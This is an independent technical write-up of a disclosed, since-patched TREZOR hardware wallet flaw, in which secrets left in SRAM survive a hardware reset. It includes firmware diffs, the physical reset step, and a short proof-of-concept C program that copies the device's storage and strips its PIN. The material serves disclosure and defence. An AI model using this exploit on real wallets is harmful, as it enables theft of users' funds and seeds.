Extracting TREZOR Secrets from SRAM
This is my independent write-up of a vulnerability reported to SatoshiLabs by an anonymous researcher.
On August 16, I noticed two interesting commits in the TREZOR firmware and a new release called v1.5.2. I was informed that an issue had been reported via SatoshiLabs’s Responsible Disclosure Bounty Program.
I was told that there would be a detailed report in the next few days, but I’m really impatient and I enjoy a challenge!
TREZOR Security Features
Before I explain the exploit, I would also like to establish a few things.
Even before this exploit was discovered, the following security procedures were already in place:
- The bootloader is write protected
- JTAG is disabled and RDP Level 2 is enabled on the MCU
- No private key operations are performed unless you have the PIN
- Secret data is cleared from SRAM when no longer needed
- The bootloader verifies that firmware is signed
- The booloader wipes the storage before firmware update and restores it only for signed firmware
- If you downgrade the firmware, the firmware wipes the storage
Now that the exploit has been discovered, what you need to know is:
- Firmware 1.5.2 is not vulnerable to this exploit or any variation of it
- Physical access is required
- If you are using a BIP-39 passphrase, you are safe (the mnemonic is useless without the passphrase and the TREZOR does not store the passphrase)
- This attack has nothing to do with fault injection or the recent DEFCON 25 talk about hardware wallets
- Despite some claims, you cannot even install the official firmware in 15 seconds, let alone open the case, short the pins and install the malicious firmware
- While you could argue that this is a hardware problem (which I’ll discuss in a second), it can and has been fixed in software
- I don’t think that epoxy would prevent this attack because, although I don’t know
much about hardware, it seems plausible that someone could look at the PCB
schematics and drill through the epoxy in order to access the
RST
pin
Finding the bug
Booting the firmware
The first change I noticed was that, when booting the firmware, the SRAM is now wiped:
void __attribute__((noreturn)) load_app(void)
{
// zero out SRAM
memset_reg(_ram_start, _ram_end, 0);
load_vector_table((const vector_table_t *) FLASH_APP_START);
}
My initial thoughts were that custom firmware could access the storage backup made by the bootloader. However, I quickly ruled this out:
-
meta_backup
is only filled by theFirmwareUpdate
andSelfTest
messages -
The
SelfTest
feature probably hasn’t even reached users yet (although this version of the bootloader has hit production) -
There is no way, as far as I know, to get the bootloader to start the firmware after it has entered USB mode
Booting the bootloader
This file overrides the entry point of the bootloader and firmware.
The old entry point looked like this (relevant parts shown):
void __attribute__ ((weak, naked)) reset_handler(void)
{
volatile unsigned *src, *dest;
for (src = &_data_loadaddr, dest = &_data;
dest < &_edata;
src++, dest++) {
*dest = *src;
}
while (dest < &_ebss) {
*dest++ = 0;
}
/* Call the application's entry point. */
main();
}
This initializes the .data
and the .bss
sections for static data before
calling the firmware entry point.
However, the new entry point looks something like this (rewritten in C for clarity):
void __attribute__ ((weak, naked)) reset_handler(void)
{
volatile unsigned *src, *dest;
// zero out SRAM
memset_reg(_ram_start, _ram_end, 0);
for (src = &_data_loadaddr, dest = &_data;
dest < &_edata;
src++, dest++) {
*dest = *src;
}
/* Call the application's entry point. */
main();
}
While the first version initializes about 32 KiB of the SRAM, the new entry
point zeroes out the whole SRAM (which also initializes the .bss
section).
When the STM32F205RE is powered on, the RAM is initially filled with random data. So I knew that the exploit would require starting the bootloader without power cycling the device.
Resetting the TREZOR
To my knowledge, there are two methods to start the bootloader without power cycling: a software reset and a hardware reset.
A quick grep of the TREZOR firmware revealed that software resets are not used at all which meant I would have to resort to hardware resets.
The issue was that the hardware reset on many chips is a simple power cycle. However, as I looked at the features listed on ST’s website, I was in luck:
- Clock, reset and supply management
To access the hardware reset, I would have to break open the TREZOR case.
Fortunately, I had a few uncased TREZORs to hand! After utter despair at my
lack of hardware knowledge, I finally found the RST
pin. Even better, the pin
below was GND
, so I just had to use a pair of tweezers to short the pins.
Writing an exploit
Since meta_backup
lives in the .bss
section, it would be zeroed by the
reset_handler
so it cannot be the attack vector.
However, the storage is also read into SRAM by the firmware. But, in
order to write an exploit, I would have to find out the address of storage
in
RAM.
Unfortunately, SatoshiLabs only distribute the binary firmware, not the ELF files. Fortunately, the firmware can be built deterministically and soon enough, I had the address:
$ nm firmware/trezor.elf | grep " storage$"
2000b3fc B storage
Luckily, the address is much higher than the end of the .bss
section in the
bootloader so the bootloader won’t overwrite it.
#include "storage.h"
int main(void) {
memcpy(&storage, (Storage *) 0x2000b3fc, sizeof(storage));
storage_setPin(NULL);
storage_setLabel("Pwned");
storage_commit();
return 0;
}
After resetting the MCU, flashing the malicious firmware, resetting the MCU again and starting the malicious firmware, all I had to do was flash the official firmware back.
Then I was greeted with a beautiful sight.
Fixing the bug
Bootloader 1.3.3
As I explained earlier, the bootloader wipes the SRAM at startup which prevents accessing SRAM left over from the firmware. It also wipes SRAM before starting the firmware which prevents accessing SRAM left over from the bootloader (not that I could find a way to exploit that though).
But the bootloader is non-upgradeable so people would have to replace their TREZOR to take advantage of this fix. However, the firmware is upgradeable.
The .confidential
section
How does a firmware upgrade solve the issue, then?
As I explained earlier, the bootloader initializes approximately 32 KiB of the SRAM. If the secret data was in that 32 KiB, it would prevent this exploit.
And this is the final of the three changes in that commit. All the secret data
was marked as static CONFIDENTIAL
. CONFIDENTIAL
is a macro that places the
symbol in a new section, called .confidential
, which is placed at the start
of SRAM and is less than 32 KiB.
Now, even when an old version of the bootloader starts it will overwrite
.confidential
from the firmware, preventing this exploit.